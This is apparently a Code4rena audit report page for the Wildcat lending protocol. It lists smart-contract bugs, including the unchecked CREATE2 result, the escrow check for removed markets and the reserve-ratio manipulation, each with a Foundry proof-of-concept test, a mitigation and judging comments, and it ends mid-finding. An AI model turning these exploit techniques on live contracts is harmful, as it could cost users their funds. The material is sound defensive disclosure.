// SPDX-License-Identifier: MIT pragma solidity >=0.8.20; import 'src/WildcatArchController.sol'; import 'src/WildcatMarketControllerFactory.sol'; import 'forge-std/Test.sol'; import 'test/shared/TestConstants.sol'; import 'test/helpers/MockERC20.sol'; contract CollectFeesTest is Test { // Wildcat contracts WildcatMarketController controller; WildcatMarket market; // Test contracts MockERC20 asset = new MockERC20(); // Users address AIKEN; address DUEET; function setUp() external { // Deploy Wildcat contracts WildcatArchController archController = new WildcatArchController(); MarketParameterConstraints memory constraints = MarketParameterConstraints({ minimumDelinquencyGracePeriod: MinimumDelinquencyGracePeriod, maximumDelinquencyGracePeriod: MaximumDelinquencyGracePeriod, minimumReserveRatioBips: MinimumReserveRatioBips, maximumReserveRatioBips: MaximumReserveRatioBips, minimumDelinquencyFeeBips: MinimumDelinquencyFeeBips, maximumDelinquencyFeeBips: MaximumDelinquencyFeeBips, minimumWithdrawalBatchDuration: MinimumWithdrawalBatchDuration, maximumWithdrawalBatchDuration: MaximumWithdrawalBatchDuration, minimumAnnualInterestBips: MinimumAnnualInterestBips, maximumAnnualInterestBips: MaximumAnnualInterestBips }); WildcatMarketControllerFactory controllerFactory = new WildcatMarketControllerFactory( address(archController), address(0), constraints ); // Set protocol fee to 10% controllerFactory.setProtocolFeeConfiguration( address(1), address(0), 0, 1000 // protocolFeeBips ); // Register controllerFactory in archController archController.registerControllerFactory(address(controllerFactory)); // Setup Aiken and register him as borrower AIKEN = makeAddr("AIKEN"); archController.registerBorrower(AIKEN); asset.mint(AIKEN, 1000e18); // Setup Dueet and give him some asset token DUEET = makeAddr("DUEET"); asset.mint(DUEET, 1000e18); // Deploy controller and market for Aiken vm.prank(AIKEN); (address _controller, address _market) = controllerFactory.deployControllerAndMarket( "Market Token", "MKT", address(asset), type(uint128).max, MaximumAnnualInterestBips, MaximumDelinquencyFeeBips, MaximumWithdrawalBatchDuration, MaximumReserveRatioBips, MaximumDelinquencyGracePeriod ); controller = WildcatMarketController(_controller); market = WildcatMarket(_market); } function test_collectFeesUpdatesDelinquencyWrongly() public { // Register Dueet as lender address[] memory arr = new address[](1); arr[0] = DUEET; vm.prank(AIKEN); controller.authorizeLenders(arr); // Dueet becomes a lender in the market vm.startPrank(DUEET); asset.approve(address(market), 1000e18); market.depositUpTo(1000e18); vm.stopPrank(); // Some time passes, market becomes delinquent skip(2 weeks); market.updateState(); MarketState memory state = market.previousState(); assertTrue(state.isDelinquent); // Aiken tops up some assets uint256 amount = market.coverageLiquidity() - market.totalAssets() - market.accruedProtocolFees(); vm.prank(AIKEN); asset.transfer(address(market), amount); // Someone calls collectFees() market.collectFees(); // Market was updated to not delinquent state = market.previousState(); assertFalse(state.isDelinquent); // However, it should be delinquent as liquidityRequired > totalAssets() assertGt(market.coverageLiquidity(), market.totalAssets()); } }
In collectFees()
, consider calling _writeState()
after assets have been transferred to the feeRecipient
:
- _writeState(state); asset.safeTransfer(feeRecipient, withdrawableFees); + _writeState(state);
Other
#0 - c4-pre-sort
2023-10-27T15:06:08Z
minhquanym marked the issue as duplicate of #36
#1 - c4-judge
2023-11-07T15:15:01Z
MarioPoneder marked the issue as satisfactory
#2 - MiloTruck
2023-11-13T14:16:32Z
Hi @MarioPoneder, could you consider selecting this issue for report instead of #36?
I believe that it is better for the following reasons:
That being said, I understand that a report being better is subjective and will respect your final decision as a judge.
Thanks!
#3 - MarioPoneder
2023-11-14T12:47:53Z
I initially preferred #36 due to it's simplicity. However, considering the level of detail which provides even more value for the reader of the final report, it seems justified to select the present issue for report.
#4 - c4-judge
2023-11-14T12:48:06Z
MarioPoneder marked the issue as selected for report
#5 - laurenceday
2023-11-14T17:33:40Z
#6 - c4-sponsor
2023-11-14T17:34:04Z
laurenceday (sponsor) confirmed
🌟 Selected for report: MiloTruck
Also found by: 0xCiphky, LokiThe5th, Madalad, Robert, ZdravkoHr, nonseodion
284.0912 USDC - $284.09
In LibStoredInitCode.sol
, the create2WithStoredInitCode()
function, which is used to deploy contracts with the CREATE2
opcode, is as shown:
LibStoredInitCode.sol#L106-L117
function create2WithStoredInitCode( address initCodeStorage, bytes32 salt, uint256 value ) internal returns (address deployment) { assembly { let initCodePointer := mload(0x40) let initCodeSize := sub(extcodesize(initCodeStorage), 1) extcodecopy(initCodeStorage, initCodePointer, 1, initCodeSize) deployment := create2(value, initCodePointer, initCodeSize, salt) } }
The create2
opcode returns address(0)
if contract deployment reverted. However, as seen from above, create2WithStoredInitCode()
does not check if the deployment
address is address(0)
.
This is an issue as deployMarket()
will not revert when deployment of the WildcatMarket
contract fails:
WildcatMarketController.sol#L354-L357
LibStoredInitCode.create2WithStoredInitCode(marketInitCodeStorage, salt); archController.registerMarket(market); _controlledMarkets.add(market);
Therefore, if the origination fee is enabled for the protocol, users that call deployMarket()
will pay the origination fee even if the market was not deployed.
Additionally, the market
address will be registered in the WildcatArchController
contract and added to _addControlledMarkets
. This will cause both sets to become inaccurate if deployment failed as market
would be an address that has no code.
This also leads to more problems if a user attempts to call deployMarket()
with the same asset
, namePrefix
and symbolPrefix
. Since the market
address has already been registered, registerMarket()
will revert when called for a second time:
WildcatArchController.sol#L192-L195
function registerMarket(address market) external onlyController { if (!_markets.add(market)) { revert MarketAlreadyExists(); }
As such, if a user calls deployMarket()
and market deployment fails, he cannot call deployMarket()
with the same set of parameters ever again.
Note that it is possible for market deployment to fail, as seen in the constructor of WildcatMarketBase
:
if ((parameters.protocolFeeBips > 0).and(parameters.feeRecipient == address(0))) { revert FeeSetWithoutRecipient(); } if (parameters.annualInterestBips > BIP) { revert InterestRateTooHigh(); } if (parameters.reserveRatioBips > BIP) { revert ReserveRatioBipsTooHigh(); } if (parameters.protocolFeeBips > BIP) { revert InterestFeeTooHigh(); } if (parameters.delinquencyFeeBips > BIP) { revert PenaltyFeeTooHigh(); } // Set asset metadata asset = parameters.asset; name = string.concat(parameters.namePrefix, queryName(parameters.asset)); symbol = string.concat(parameters.symbolPrefix, querySymbol(parameters.asset)); decimals = IERC20Metadata(parameters.asset).decimals();
For example, the protocol could have configured protocolFeeBips
or feeRecipient
incorrectly. Alternatively, asset
could be an invalid address, or an ERC20 token that does not have the name()
, symbol()
or decimal()
function.
Since deployMarket()
does not revert when creation of the WildcatMarket
contract fails, users will pay the origination fee for failed deployments, causing a loss of funds.
Additionally, deployMarket()
will not be callable for the same asset
, namePrefix
and symbolPrefix
, thus a user can never deploy a market with these parameters.
The following test demonstrates how deployMarket()
does not revert even if deployment of the WildcatMarket
contract failed, and how it reverts when attempting to deploy the same market with valid parameters afterwards:
// SPDX-License-Identifier: MIT pragma solidity >=0.8.20; import 'src/WildcatArchController.sol'; import 'src/WildcatMarketControllerFactory.sol'; import 'forge-std/Test.sol'; import 'test/shared/TestConstants.sol'; import 'test/helpers/MockERC20.sol'; contract MarketDeploymentRevertTest is Test { // Wildcat contracts WildcatArchController archController; WildcatMarketControllerFactory controllerFactory; WildcatMarketController controller; // Test contracts MockERC20 originationFeeAsset = new MockERC20(); MockERC20 marketAsset = new MockERC20(); // Users address BORROWER; function setUp() external { // Deploy Wildcat contracts archController = new WildcatArchController(); MarketParameterConstraints memory constraints = MarketParameterConstraints({ minimumDelinquencyGracePeriod: MinimumDelinquencyGracePeriod, maximumDelinquencyGracePeriod: MaximumDelinquencyGracePeriod, minimumReserveRatioBips: MinimumReserveRatioBips, maximumReserveRatioBips: MaximumReserveRatioBips, minimumDelinquencyFeeBips: MinimumDelinquencyFeeBips, maximumDelinquencyFeeBips: MaximumDelinquencyFeeBips, minimumWithdrawalBatchDuration: MinimumWithdrawalBatchDuration, maximumWithdrawalBatchDuration: MaximumWithdrawalBatchDuration, minimumAnnualInterestBips: MinimumAnnualInterestBips, maximumAnnualInterestBips: MaximumAnnualInterestBips }); controllerFactory = new WildcatMarketControllerFactory( address(archController), address(0), constraints ); // Register controllerFactory in archController archController.registerControllerFactory(address(controllerFactory)); // Setup borrower BORROWER = makeAddr("BORROWER"); originationFeeAsset.mint(BORROWER, 10e18); archController.registerBorrower(BORROWER); // Deploy controller vm.prank(BORROWER); controller = WildcatMarketController(controllerFactory.deployController()); } function test_marketDeploymentDoesntRevert() public { // Set protocol fee to larger than BIP controllerFactory.setProtocolFeeConfiguration( address(1), address(originationFeeAsset), 5e18, // originationFeeAmount, 1e4 + 1 // protocolFeeBips ); string memory namePrefix = "Market "; string memory symbolPrefix = "MKT-"; // deployMarket() does not revert vm.startPrank(BORROWER); originationFeeAsset.approve(address(controller), 5e18); address market = controller.deployMarket( address(marketAsset), namePrefix, symbolPrefix, type(uint128).max, MaximumAnnualInterestBips, MaximumDelinquencyFeeBips, MaximumWithdrawalBatchDuration, MaximumReserveRatioBips, MaximumDelinquencyGracePeriod ); vm.stopPrank(); // However, the market was never deployed and borrower paid the origination fee assertEq(market.code.length, 0); assertEq(originationFeeAsset.balanceOf(BORROWER), 5e18); // Set protocol fee to valid value controllerFactory.setProtocolFeeConfiguration( address(1), address(originationFeeAsset), 5e18, // originationFeeAmount, 0 // protocolFeeBips ); // Call deployMarket() with valid parameters reverts as market address is already registered vm.startPrank(BORROWER); originationFeeAsset.approve(address(controller), 5e18); vm.expectRevert(WildcatArchController.MarketAlreadyExists.selector); market = controller.deployMarket( address(marketAsset), namePrefix, symbolPrefix, type(uint128).max, MaximumAnnualInterestBips, MaximumDelinquencyFeeBips, MaximumWithdrawalBatchDuration, MaximumReserveRatioBips, MaximumDelinquencyGracePeriod ); vm.stopPrank(); } }
In create2WithStoredInitCode()
, consider checking if the deployment
address is address(0)
, and reverting if so:
LibStoredInitCode.sol#L106-L117
function create2WithStoredInitCode( address initCodeStorage, bytes32 salt, uint256 value ) internal returns (address deployment) { assembly { let initCodePointer := mload(0x40) let initCodeSize := sub(extcodesize(initCodeStorage), 1) extcodecopy(initCodeStorage, initCodePointer, 1, initCodeSize) deployment := create2(value, initCodePointer, initCodeSize, salt) + if iszero(deployment) { + mstore(0x00, 0x30116425) // DeploymentFailed() + revert(0x1c, 0x04) + } } }
Library
#0 - c4-pre-sort
2023-10-27T04:39:36Z
minhquanym marked the issue as duplicate of #28
#1 - c4-judge
2023-11-07T14:51:46Z
MarioPoneder marked the issue as satisfactory
#2 - c4-judge
2023-11-07T15:02:46Z
MarioPoneder marked the issue as selected for report
#3 - laurenceday
2023-11-09T08:46:56Z
#4 - MarioPoneder
2023-11-12T15:56:24Z
Was selected due to explanation, PoC and mitigation steps.
#5 - c4-sponsor
2023-11-14T17:32:22Z
laurenceday (sponsor) confirmed
🌟 Selected for report: MiloTruck
Also found by: josephdara
1683.888 USDC - $1,683.89
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/WildcatSanctionsSentinel.sol#L95-L102
In WildcatSanctionsSentinel.sol
, the createEscrow()
function checks that msg.sender
is a registered market in the WildcatArchController
contract:
WildcatSanctionsSentinel.sol#L95-L102
function createEscrow( address borrower, address account, address asset ) public override returns (address escrowContract) { if (!IWildcatArchController(archController).isRegisteredMarket(msg.sender)) { revert NotRegisteredMarket(); }
This is meant to ensure that createEscrow()
can only be called by markets deployed by the protocol, since they are registered using registerMarket()
.
However, such an implementation does not account for markets that are removed using the removeMarket()
function.
If a market is removed, it should still be able to operate normally as a registered market would. However, due to the check shown above, any function that calls createEscrow()
will always revert for removed markets, namely nukeFromOrbit()
and executeWithdrawal()
when they are called for sanctioned lenders.
If a market is removed, lenders that are sanctioned on Chainalysis cannot be blocked using nukeFromOrbit()
since the function will always revert.
This is problematic as sanctioned addresses will still be able to interact with the market in various ways, such as transferring market tokens, making deposits or calling queueWithdrawal()
, when they should not be able to.
Sanctioned lenders will also be unable to call executeWithdrawal()
to withdraw their assets from the market into their own escrows.
The following test demonstrates how nukeFromOrbit()
and executeWithdrawal()
will revert for sanctioned lenders when a market is removed from the WildcatArchController
contract:
// SPDX-License-Identifier: MIT pragma solidity >=0.8.20; import 'src/WildcatSanctionsSentinel.sol'; import 'src/WildcatArchController.sol'; import 'src/WildcatMarketControllerFactory.sol'; import 'src/interfaces/IWildcatSanctionsSentinel.sol'; import 'forge-std/Test.sol'; import 'test/shared/TestConstants.sol'; import 'test/helpers/MockERC20.sol'; contract CreateEscrowTest is Test { // Wildcat contracts WildcatSanctionsSentinel sentinel; WildcatArchController archController; WildcatMarketControllerFactory controllerFactory; WildcatMarketController controller; WildcatMarket market; // Test contracts MockChainalysis chainalysis = new MockChainalysis(); MockERC20 asset = new MockERC20(); // Users address AIKEN; address DUEET; function setUp() external { // Deploy Wildcat contracts archController = new WildcatArchController(); sentinel = new WildcatSanctionsSentinel(address(archController), address(chainalysis)); MarketParameterConstraints memory constraints = MarketParameterConstraints({ minimumDelinquencyGracePeriod: MinimumDelinquencyGracePeriod, maximumDelinquencyGracePeriod: MaximumDelinquencyGracePeriod, minimumReserveRatioBips: MinimumReserveRatioBips, maximumReserveRatioBips: MaximumReserveRatioBips, minimumDelinquencyFeeBips: MinimumDelinquencyFeeBips, maximumDelinquencyFeeBips: MaximumDelinquencyFeeBips, minimumWithdrawalBatchDuration: MinimumWithdrawalBatchDuration, maximumWithdrawalBatchDuration: MaximumWithdrawalBatchDuration, minimumAnnualInterestBips: MinimumAnnualInterestBips, maximumAnnualInterestBips: MaximumAnnualInterestBips }); controllerFactory = new WildcatMarketControllerFactory( address(archController), address(sentinel), constraints ); // Register controllerFactory in archController archController.registerControllerFactory(address(controllerFactory)); // Setup Aiken and register him as borrower AIKEN = makeAddr("AIKEN"); archController.registerBorrower(AIKEN); // Setup Dueet and give him some asset token DUEET = makeAddr("DUEET"); asset.mint(DUEET, 1000e18); // Deploy controller and market for Aiken vm.prank(AIKEN); (address _controller, address _market) = controllerFactory.deployControllerAndMarket( "Market Token", "MKT", address(asset), type(uint128).max, MaximumAnnualInterestBips, MaximumDelinquencyFeeBips, MaximumWithdrawalBatchDuration, MaximumReserveRatioBips, MaximumDelinquencyGracePeriod ); controller = WildcatMarketController(_controller); market = WildcatMarket(_market); } function test_removingMarketDOSCreateEscrow() public { // Register Dueet as lender address[] memory arr = new address[](1); arr[0] = DUEET; vm.prank(AIKEN); controller.authorizeLenders(arr); // Dueet becomes a lender in the market vm.startPrank(DUEET); asset.approve(address(market), 1000e18); market.depositUpTo(1000e18); // Queue withdrawal for Dueet market.queueWithdrawal(500e18); vm.stopPrank(); // Time passes until the withdrawal expires skip(MaximumWithdrawalBatchDuration); // Dueet becomes sanctioned chainalysis.sanction(DUEET); // Market get removes from archController archController.removeMarket(address(market)); // nukeFromOrbit() reverts for Dueet vm.expectRevert(IWildcatSanctionsSentinel.NotRegisteredMarket.selector); market.nukeFromOrbit(DUEET); // executeWithdrawal() also reverts for Dueet vm.expectRevert(IWildcatSanctionsSentinel.NotRegisteredMarket.selector); market.executeWithdrawal(DUEET, uint32(block.timestamp)); } } contract MockChainalysis { mapping(address => bool) public isSanctioned; function sanction(address addr) external { isSanctioned[addr] = true; } }
Consider implementing a way to track removed markets in WildcatArchController
. For example, a new EnumerableSet
named _removedMarkets
could be added.
This can be used to allow removed markets to call createEscrow()
as such:
WildcatSanctionsSentinel.sol#L95-L102
function createEscrow( address borrower, address account, address asset ) public override returns (address escrowContract) { - if (!IWildcatArchController(archController).isRegisteredMarket(msg.sender)) { + if (!IWildcatArchController(archController).isRegisteredMarket(msg.sender) && !IWildcatArchController(archController).isRemovedMarket(msg.sender)) { revert NotRegisteredMarket(); }
Invalid Validation
#0 - c4-pre-sort
2023-10-28T18:04:40Z
minhquanym marked the issue as primary issue
#1 - c4-pre-sort
2023-10-28T18:08:32Z
minhquanym marked the issue as sufficient quality report
#2 - c4-sponsor
2023-11-01T11:52:26Z
d1ll0n (sponsor) confirmed
#3 - d1ll0n
2023-11-01T11:52:36Z
Thank you! Silly oversight
#4 - c4-judge
2023-11-07T12:20:35Z
MarioPoneder marked the issue as satisfactory
#5 - c4-judge
2023-11-07T12:22:21Z
MarioPoneder marked the issue as selected for report
#6 - laurenceday
2023-11-09T08:59:28Z
Mitigated by https://github.com/wildcat-finance/wildcat-protocol/pull/57/commits/22c2eb6dae8fe2fe74e5c8e478cb755fbf6827f0. Removing the check altogether.
🌟 Selected for report: MiloTruck
Also found by: CaeraDenoir, T1MOH, ast3ros, elprofesor, joaovwfreire, rvierdiiev, t0x1c, trachev
178.9774 USDC - $178.98
https://github.com/code-423n4/2023-10-wildcat/blob/main/src/WildcatMarketController.sol#L472-L485
If a borrower calls setAnnualInterestBips()
to reduce a market's annual interest rate, its reserve ratio will be set to 90% for 2 weeks:
WildcatMarketController.sol#L472-L485
// If borrower is reducing the interest rate, increase the reserve // ratio for the next two weeks. if (annualInterestBips < WildcatMarket(market).annualInterestBips()) { TemporaryReserveRatio storage tmp = temporaryExcessReserveRatio[market]; if (tmp.expiry == 0) { tmp.reserveRatioBips = uint128(WildcatMarket(market).reserveRatioBips()); // Require 90% liquidity coverage for the next 2 weeks WildcatMarket(market).setReserveRatioBips(9000); } tmp.expiry = uint128(block.timestamp + 2 weeks); }
This is meant to give lenders the option to withdraw from the market should they disagree with the decrease in annual interest rate.
However, such an implementation can be abused by a borrower in a market where the reserve ratio above 90%:
setAnnualInterestBips()
to reduce annualInterestBips
by 1.
setAnnualInterestBips()
and decreases annualInterestBips
by 1 again.In the scenario above, the 5% reduction in reserve ratio works in favor of the borrower since he does not have to keep as much assets in the market. The amount of assets that all lenders can withdraw at any given time will also be 5% less than what it should be.
Note that it is possible for a market to be deployed with a reserve ratio above 90% if the protocol's MaximumReserveRatioBips
permits. For example, MaximumReserveRatioBips
is set to 100% in current tests:
uint16 constant MaximumReserveRatioBips = 10_000;
In a market where the reserve ratio is above 90%, a borrower repeatedly call setAnnualInterestBips()
every two weeks to keep the reserve ratio at 90%.
This is problematic as a market's reserve ratio is not meant to be adjustable post-deployment, since the borrower and his lenders must agree to a fixed reserve ratio beforehand.
In setAnnualInterestBips()
, consider setting the market's reserve ratio to 90% only if it is lower:
WildcatMarketController.sol#L472-L485
// If borrower is reducing the interest rate, increase the reserve // ratio for the next two weeks. - if (annualInterestBips < WildcatMarket(market).annualInterestBips()) { + if (annualInterestBips < WildcatMarket(market).annualInterestBips() && WildcatMarket(market).reserveRatioBips() < 9000) { TemporaryReserveRatio storage tmp = temporaryExcessReserveRatio[market]; if (tmp.expiry == 0) { tmp.reserveRatioBips = uint128(WildcatMarket(market).reserveRatioBips()); // Require 90% liquidity coverage for the next 2 weeks WildcatMarket(market).setReserveRatioBips(9000); } tmp.expiry = uint128(block.timestamp + 2 weeks); }
Other
#0 - c4-pre-sort
2023-10-27T16:59:00Z
minhquanym marked the issue as duplicate of #75
#1 - c4-judge
2023-11-07T18:31:53Z
MarioPoneder marked the issue as satisfactory
#2 - c4-judge
2023-11-07T18:36:46Z
MarioPoneder marked the issue as selected for report
#3 - laurenceday
2023-11-09T09:09:50Z
Tricky one that we went over several times with wardens. 90% was presented here to illustrate the functionality of setting a higher reserve, rather than one we actually wanted to use. Turns out I misjudged the willingness to bikeshed this point. Not going to quibble over this being a medium, since it's on me and my documentation.
The relationship between APR and willingness to grant credit is not linear - a 20% decrease in APR may induce far more than that amount of deposits to exit. At the same time, however, insisting on a full return of assets for a small decrease renders the credit facility useless to the borrower while still leaving them liable to pay interest - in that situation they might as well force a market closed and restart a different one.
We've ultimately chosen to - for this first wave of markets - utilise the following formula:
newReserve = max(max(100%, 2 * (oldRate - newRate)/oldRate)), oldReserve)
As an example, reducing the lender APR of a market from 5% to 3% will require an 80% reserve ratio (twice the 40% relative difference), but if the previous ratio was higher than this, it persists. Meeting point between competing sets of interests.
We've implemented this over the course of a few commits, final result as shown below -
<img width="532" alt="image" src="https://github.com/code-423n4/2023-10-wildcat-findings/assets/36096924/dbbe9adb-d5eb-4185-9de5-aacbd5e8b056"> <img width="578" alt="image" src="https://github.com/code-423n4/2023-10-wildcat-findings/assets/36096924/ac7ce472-e4a0-4859-95dc-ecf6e8bfb747">#4 - MarioPoneder
2023-11-09T18:02:14Z
I understand the sponsor's dissatisfaction about those findings and appreciate the insightful comment as well as the proposed formula which would avoid the issue.
However, it's my duty to judge the issues with respect to this contest's codebase (source of truth).
#5 - c4-sponsor
2023-11-14T17:32:05Z
laurenceday (sponsor) confirmed
🌟 Selected for report: 3docSec
Also found by: 0xCiphky, 0xbepresent, 0xbrett8571, Eigenvectors, MiloTruck, Toshii, Tricko, TrungOre, ZdravkoHr, b0g0, caventa, cu5t0mpeo, deth, ggg_ttt_hhh, gizzy, joaovwfreire, josephdara, serial-coder, smiling_heretic, stackachu
16.6643 USDC - $16.66
(https://github.com/code-423n4/2023-10-wildcat/blob/main/src/WildcatMarketController.sol#L468-L471
Whenever a market is deployed using deployMarket()
, enforceParameterConstraints()
checks that annualInterestBips
is within the protocol's limits, defined by MinimumAnnualInterestBips
and MaximumAnnualInterestBips
:
WildcatMarketController.sol#L410-L415
assertValueInRange( annualInterestBips, MinimumAnnualInterestBips, MaximumAnnualInterestBips, AnnualInterestBipsOutOfBounds.selector );
However, the setAnnualInterestBips()
function, which can be called by the borrower to change a market's annualInterestBips
post-deployment, does not check that the new annual interest rate is within the protocol's limits.
A borrower can call setAnnualInterestBips()
to set a market's annual interest rate outside the range defined by the protocol.
The following test demonstrates how setAnnualInterestBips()
can be called to set a market's annualInterestBips
above the protocol's maximumAnnualInterestBips
:
// SPDX-License-Identifier: MIT pragma solidity >=0.8.20; import 'src/WildcatArchController.sol'; import 'src/WildcatMarketControllerFactory.sol'; import 'forge-std/Test.sol'; import 'test/shared/TestConstants.sol'; import 'test/helpers/MockERC20.sol'; contract MarketAnnualInterestRateTest is Test { // Wildcat contracts WildcatArchController archController; // Test contracts MockERC20 asset = new MockERC20(); function setUp() external { // Deploy Wildcat contracts archController = new WildcatArchController(); } function test_canSetAnnualInterestOutsideMinMaxRange() public { // Setup controllerFactory with maximum annual interest rate as 50% MarketParameterConstraints memory constraints = MarketParameterConstraints({ minimumDelinquencyGracePeriod: MinimumDelinquencyGracePeriod, maximumDelinquencyGracePeriod: MaximumDelinquencyGracePeriod, minimumReserveRatioBips: MinimumReserveRatioBips, maximumReserveRatioBips: MaximumReserveRatioBips, minimumDelinquencyFeeBips: MinimumDelinquencyFeeBips, maximumDelinquencyFeeBips: MaximumDelinquencyFeeBips, minimumWithdrawalBatchDuration: MinimumWithdrawalBatchDuration, maximumWithdrawalBatchDuration: MaximumWithdrawalBatchDuration, minimumAnnualInterestBips: MinimumAnnualInterestBips, maximumAnnualInterestBips: 5_000 // Protocol annual interest rate limit is 50% }); WildcatMarketControllerFactory controllerFactory = new WildcatMarketControllerFactory( address(archController), address(0), constraints ); archController.registerControllerFactory(address(controllerFactory)); archController.registerBorrower(address(this)); // Deploy controller and market (address _controller, address _market) = controllerFactory.deployControllerAndMarket( "Market Token", "MKT", address(asset), type(uint128).max, 5_000, // 50% MaximumDelinquencyFeeBips, MaximumWithdrawalBatchDuration, MaximumReserveRatioBips, MaximumDelinquencyGracePeriod ); WildcatMarketController controller = WildcatMarketController(_controller); WildcatMarket market = WildcatMarket(_market); // Can set market's annual interest rate to 100% controller.setAnnualInterestBips(address(market), 10_000); // Market's annual interest rate is now above protocol's 50% limit assertGt(market.annualInterestBips(), 5_000); } }
In setAnnualInterestBips()
, check that annualInterestBips
is within MinimumAnnualInterestBips
and MaximumAnnualInterestBips
:
WildcatMarketController.sol#L468-L471
function setAnnualInterestBips( address market, uint16 annualInterestBips ) external virtual onlyBorrower onlyControlledMarket(market) { + if (annualInterestBips < MinimumAnnualInterestBips || annualInterestBips > MaximumAnnualInterestBips) { + revert AnnualInterestBipsOutOfBounds(); + }
Other
#0 - c4-pre-sort
2023-10-27T14:21:51Z
minhquanym marked the issue as duplicate of #443
#1 - c4-judge
2023-11-07T12:32:39Z
MarioPoneder marked the issue as satisfactory
🌟 Selected for report: J4X
Also found by: 0x3b, 0xCiphky, 0xComfyCat, 0xStalin, 0xbepresent, 3docSec, DavidGiladi, DeFiHackLabs, Drynooo, Fulum, GREY-HAWK-REACH, InAllHonesty, MatricksDeCoder, Mike_Bello90, MiloTruck, Phantom, SHA_256, T1MOH, Udsen, VAD37, YusSecurity, ZdravkoHr, ast3ros, caventa, deepkin, deth, devival, ggg_ttt_hhh, inzinko, jasonxiale, josieg_74497, karanctf, ke1caM, nisedo, nobody2018, nonseodion, osmanozdemir1, radev_sw, rvierdiiev, serial-coder, t0x1c
98.3346 USDC - $98.33
ID | Description | Severity |
---|---|---|
L-01 | Interest rates might be inflated slightly above the market's annual interest rate | Low |
L-02 | deployMarket() might be DOSed depending on the origination fee configuration | Low |
L-03 | resetReserveRatio() cannot be called if the market is delinquent | Low |
L-04 | Maximum amount of assets that can be deposited into a market is implicitly limited to uint104 | Low |
L-05 | Only allow lenders to call executeWithdrawal() for themselves | Low |
N-01 | Avoid calling _writeState() before transferring assets in borrow() | Non-Critical |
N-02 | Code for push() in FIFOQueue.sol can be shortened | Non-Critical |
N-03 | Redundant checks in WildcatMarketBase 's constructor | Non-Critical |
Whenever the state of a market is updated, updateScaleFactorAndFees()
is called to increase the market's scaleFactor
based on the annual interest rate:
// Calculate new scaleFactor uint256 prevScaleFactor = state.scaleFactor; uint256 scaleFactorDelta = prevScaleFactor.rayMul(baseInterestRay + delinquencyFeeRay); state.scaleFactor = (prevScaleFactor + scaleFactorDelta).toUint112();
As seen from above, the interest rate is not a fixed rate based on time, but rather, it compounds depending on how frequently updateScaleFactorAndFees()
is called.
Due to how compound interest works works, if updateState()
is called repeatedly, the final amount owed by the borrower in a market will be higher as compared to if updateState()
was called once.
Markets which have their state updated more frequently will have a slightly higher interest rate, which means the borrower will owe lenders slightly more assets. This could occur if:
updateState()
repeatedly.This leads to a slight loss of funds for the borrower, and a slight gain for lenders.
The following test demonstrates how the assets owed by a borrower after a year will be 0.1% higher if updateState()
is called for a market every week:
// SPDX-License-Identifier: MIT pragma solidity >=0.8.20; import 'src/WildcatArchController.sol'; import 'src/WildcatMarketControllerFactory.sol'; import 'forge-std/Test.sol'; import 'test/shared/TestConstants.sol'; import 'test/helpers/MockERC20.sol'; contract MarketAnuualInterestRateTest is Test { // Wildcat contracts WildcatMarketController controller; // Test contracts MockERC20 asset = new MockERC20(); // Users address BORROWER; address LENDER; function setUp() external { // Deploy Wildcat contracts WildcatArchController archController = new WildcatArchController(); MarketParameterConstraints memory constraints = MarketParameterConstraints({ minimumDelinquencyGracePeriod: MinimumDelinquencyGracePeriod, maximumDelinquencyGracePeriod: MaximumDelinquencyGracePeriod, minimumReserveRatioBips: MinimumReserveRatioBips, maximumReserveRatioBips: MaximumReserveRatioBips, minimumDelinquencyFeeBips: 0, maximumDelinquencyFeeBips: MaximumDelinquencyFeeBips, minimumWithdrawalBatchDuration: MinimumWithdrawalBatchDuration, maximumWithdrawalBatchDuration: MaximumWithdrawalBatchDuration, minimumAnnualInterestBips: MinimumAnnualInterestBips, maximumAnnualInterestBips: MaximumAnnualInterestBips }); WildcatMarketControllerFactory controllerFactory = new WildcatMarketControllerFactory( address(archController), address(0), constraints ); // Register controllerFactory in archController archController.registerControllerFactory(address(controllerFactory)); // Setup borrower BORROWER = makeAddr("BORROWER"); archController.registerBorrower(BORROWER); // Setup lender LENDER = makeAddr("LENDER"); asset.mint(LENDER, 1000e18); // Deploy controller vm.prank(BORROWER); controller = WildcatMarketController(controllerFactory.deployController()); // Register lender address[] memory arr = new address[](1); arr[0] = LENDER; vm.prank(BORROWER); controller.authorizeLenders(arr); } function test_lenderCanInflateInterestRate() public { // Deploy market with 10% annual interest rate vm.prank(BORROWER); address _market = controller.deployMarket( address(asset), "Market ", "MKT-", type(uint128).max, 500, // annual interest rate = 50% 0, // delinquency fee = 0% MaximumWithdrawalBatchDuration, MaximumReserveRatioBips, MaximumDelinquencyGracePeriod ); WildcatMarket market = WildcatMarket(_market); // Lender deposits into market vm.startPrank(LENDER); asset.approve(address(market), 1000e18); market.depositUpTo(1000e18); vm.stopPrank(); // Save a snapshot before interest compounding uint256 snapshot = vm.snapshot(); // Calculate assets owed by borrower after 1 year skip(365 days); market.updateState(); console2.log("Assets owed:", market.balanceOf(LENDER)); // Revert to before interest compounding vm.revertTo(snapshot); // Calculate assets owed if updateState() were to be called every week for (uint256 i = 0; i < 52; ++i) { skip(1 weeks); market.updateState(); } console2.log("Assets owed:", market.balanceOf(LENDER)); } }
In _getUpdatedState()
, consider calling updateScaleFactorAndFees()
after a certain time period has passed, such as a week. This ensures that a lender cannot intentionally call updateState()
repeatedly to inflate the interest rate.
deployMarket()
might be DOSed depending on the origination fee configurationIn deployMarket()
, the origination fee is transferred to the feeRecipient
as follows:
WildcatMarketController.sol#L345-L347
if (originationFeeAsset != address(0)) { originationFeeAsset.safeTransferFrom(borrower, parameters.feeRecipient, originationFeeAmount); }
The function only checks if originationFeeAsset
is a non-zero address before calling safeTransferFrom()
.
This could cause deployMarket()
to revert if originationFeeAsset
is set to a token that reverts when transferring a zero value amount (eg. LEND), and originationFeeAmount
is set to 0.
If the protocol's origination fee is configured as 0, but originationFeeAsset
is a ERC20 token that reverts for zero-value transfers, deployMarket()
will be DOSed.
Consider checking that originationFeeAmount
is non-zero as well:
WildcatMarketController.sol#L345-L347
- if (originationFeeAsset != address(0)) { + if (originationFeeAsset != address(0) && originationFeeAmount != 0) { originationFeeAsset.safeTransferFrom(borrower, parameters.feeRecipient, originationFeeAmount); }
resetReserveRatio()
cannot be called if the market is delinquentWhen a borrower first changes a market's annual interest rate using setAnnualInterestBips()
, the market's reserve ratio is set to 90%. After 2 weeks, the borrower can call resetReserveRatio()
to reset the reserve ratio back to its original value.
resetReserveRatio()
calls setReserveRatioBips()
to reset the market's reserve ratio:
WildcatMarketController.sol#L499
